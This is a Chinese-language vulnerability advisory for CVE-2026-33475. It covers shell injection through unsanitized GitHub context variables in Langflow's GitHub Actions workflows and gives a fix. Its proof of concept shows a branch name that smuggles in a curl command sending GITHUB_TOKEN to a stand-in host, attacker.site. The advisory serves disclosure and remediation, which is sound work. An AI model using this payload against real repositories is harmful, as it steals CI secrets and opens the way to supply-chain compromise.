CVE-2026-33475
Langflow GitHub Actions Shell 注入
- 已发布
- 2026年3月24日
- 已更新
- 2026年3月25日
- 分配 CNA
- GitHub_M
- 观察到的证据
- 2026年9月5日
初级CVSS
nvd · CVSS 3.1
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N低 · 未来 30 天
- 百分位
- 86.5%
- 型号日期
- 2026年9月21日
EPSS 是统计估计,而不是确定性或影响衡量标准。将其与 CVSS、KEV 状态、暴露程度和您的环境相结合。
总结
Langflow 是一款用于构建和部署 AI 智能体与工作流的工具。在 Langflow 仓库 1.9.0 之前的版本中,多个 GitHub Actions 工作流存在未经验证的远程 Shell 注入漏洞。在 `run:` 步骤中,对 GitHub 上下文变量(例如 `${{ github.head_ref }}`)进行未净化的插值,使攻击者能够通过恶意分支名或拉取请求标题注入并执行任意 Shell 命令。这可能导致 CI/CD 执行期间的机密信息泄露(例如 `GITHUB_TOKEN`)、基础设施篡改或供应链入侵。版本 1.9.0 已修补该漏洞。--- ### 详情 `.github/workflows/` 和 `.github/actions/` 中的多个工作流直接在 `run:` Shell 命令中引用了 GitHub 上下文变量,例如:```yaml run: | validate_branch_name "${{ github.event.pull_request.head.ref }}" ``` 或:```yaml run: npx playwright install ${{ inputs.browsers }} --with-deps ``` 由于 `github.head_ref`、`github.event.pull_request.title` 以及自定义的 `inputs.*` 可能包含**用户可控的值**,因此必须将其视为**不可信输入**。在未进行适当引用或净化的情况下直接插值会导致 Shell 命令注入。--- ### PoC 1. **Fork** Langflow 仓库 2. **创建一个新分支**,分支名为:```bash injection-test && curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 3. 从该新分支向主分支**打开一个 Pull Request** 4. GitHub Actions 将运行受影响的工作流(例如 `deploy-docs-draft.yml`)5. 包含以下内容的 `run:` 步骤:```yaml echo "Branch: ${{ github.head_ref }}" ``` 将执行:```bash echo "Branch: injection-test" curl https://attacker.site/exfil?token=$GITHUB_TOKEN ``` 6. 攻击者通过该外传 URL 接收到 CI 机密信息。--- ### 影响 - **类型:** CI 中的 Shell 注入 / 远程代码执行 - **范围:** 任何启用了 GitHub Actions 的公开 Langflow fork - **影响:** 完全访问 CI 机密信息(例如 `GITHUB_TOKEN`),可能推送恶意标签或镜像、篡改发布版本,或泄露敏感的基础设施数据--- ### 建议修复方案 重构受影响的工作流,**使用环境变量**并将其包裹在**双引号**中:```yaml env: BRANCH_NAME: ${{ github.head_ref }} run: | echo "Branch is: \"$BRANCH_NAME\"" ``` 避免在 `run:` 中直接对任何用户可控的值进行 `${{ ... }}` 插值。--- ### 受影响文件(Langflow `1.3.4`) - `.github/actions/install-playwright/action.yml` - `.github/workflows/deploy-docs-draft.yml` - `.github/workflows/docker-build.yml` - `.github/workflows/release_nightly.yml` - `.github/workflows/python_test.yml` - `.github/workflows/typescript_test.yml`
来源
1安全研究实验室:复现 CVE-2026-33475(deploy-docs-draft.yml 中通过 PR 分支名实现的 GitHub Actions 脚本注入),langflow-ai/langflow 快照
负责任的使用
仅在您拥有或有权测试的系统上使用漏洞信息。 Kitploit 链接到公共研究元数据,并且不存储漏洞代码或恶意负载。